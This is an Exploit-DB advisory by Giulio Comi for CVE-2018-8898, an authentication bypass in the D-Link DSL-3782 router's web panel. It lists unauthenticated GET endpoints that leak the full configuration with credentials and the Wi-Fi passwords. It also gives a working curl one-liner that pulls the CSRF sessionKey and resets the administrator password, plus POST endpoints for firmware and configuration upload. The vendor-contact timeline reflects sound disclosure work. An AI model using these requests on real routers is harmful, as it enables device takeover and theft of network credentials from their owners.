D-Link DSL-3782 - Authentication Bypass

EDB-ID:

44657


Platform:

Hardware

Published:

2018-05-20

# Exploit Title: D-Link DSL 3782 - Authentication Bypass
# Vendor Homepage: https://eu.dlink.com
# Version: A1_WI_20170303 || SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"
# Category: Webapps
# Exploit Author: Giulio Comi
# CVE : CVE-2018-8898
# Date: 20/05/2018

# Description
# The web panel of D-Link DSL 3782 version (A1_WI_20170303) does not release a token ID (e.g. a session cookie) that identifies the logged in administrator, but only relies # on a server-side timeout that lasts few minutes.
# In addition, a server-side mitigation in place prompts for login credentials everytime the webroot is loaded, but does leave the application endpoints unprotected # and affected by this authentication bypass.

# Therefore,  after a valid login of the administrator the web panel does not distinguish valid HTTP requests from the admin and the ones that come from other users.
# This way, an attacker can script an automatic routine that perform unwanted actions such as arbitrary modifications to router and SSIDs passwords and configurations.

# Some of the possible actions for retrieving important information
# GET  http://192.168.1.1/romfile.cfg ---> retrieve the complete settings of the router (all credentials included)
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_24.asp ---> retrieve the password for SSID of 2.4Ghz
# GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_5.asp ---> retrieve the password for SSID of 5.0Ghz
# GET http://192.168.1.1/cgi-bin/New_GUI/GuestZone.asp    ---> retrieve the password for Guest network, if present

# For POST requests that makes changes to passwords, SSIDs name and configurations, a 'sessionKey' value is used by the web application to prevent Cross-site request forgery (CSRF) attacks.
# However, this value can be retrieved with this Authentication Bypass issue with the following GET request:
# 'GET http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp'

# For example, the below POST request allows to change the Web Interface Administrator's password:
curl --data "Password=[NEW_PASSWORD_SET_BY_THE_ATTACKER]" \
--data "sessionKey=$(curl -sS http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp)" \
http://192.168.1.1/cgi-bin/New_GUI/Set/Admin.asp

# Some other possible actions for altering the configurations:
# POST http://192.168.1.1/cgi-bin/New_GUI/WiFi_loding.asp ---> change passwords of the SSIDs
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/firmware_upgrade.asp ---> upgrade firmware
# POST http://192.168.1.1/cgi-bin/New_GUI/Set/reboot_wait.asp ---> reboot router
# POST /cgi-bin/New_GUI/Set/config_upgrade.asp  ---> upload a new configuration file ('romfile.cfg')

# Note 1: Since the router misses a network segretation, a user that has access to the Guest network could also perform this attack.
# Note 2: Web panels exposed to the Internet allows anonymous attacker to leverage this vulnerability and possibly takeover the router.
# Note 3: Others forks of the firmware and software versions have not been tested.

# Timeline
# 26/03 Vendor contacted
# 28/03 Vendor replied
# 05/04 Vendor requested more information to track the vulnerable firmware version 'because the D-Link DSL 3782 have many forks'
# 05/04 I have sent the detailed information of firmware and software version retrievable from:
#       - the web panel graphic ('A1_WI_20170303')
#       - the romfile.cfg ('SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"')
# 20/04 requested an update, no response
# 03/05 requested an update, no response
# 07/05 requested an update, still no response from the security response team
# 20/05 full disclosure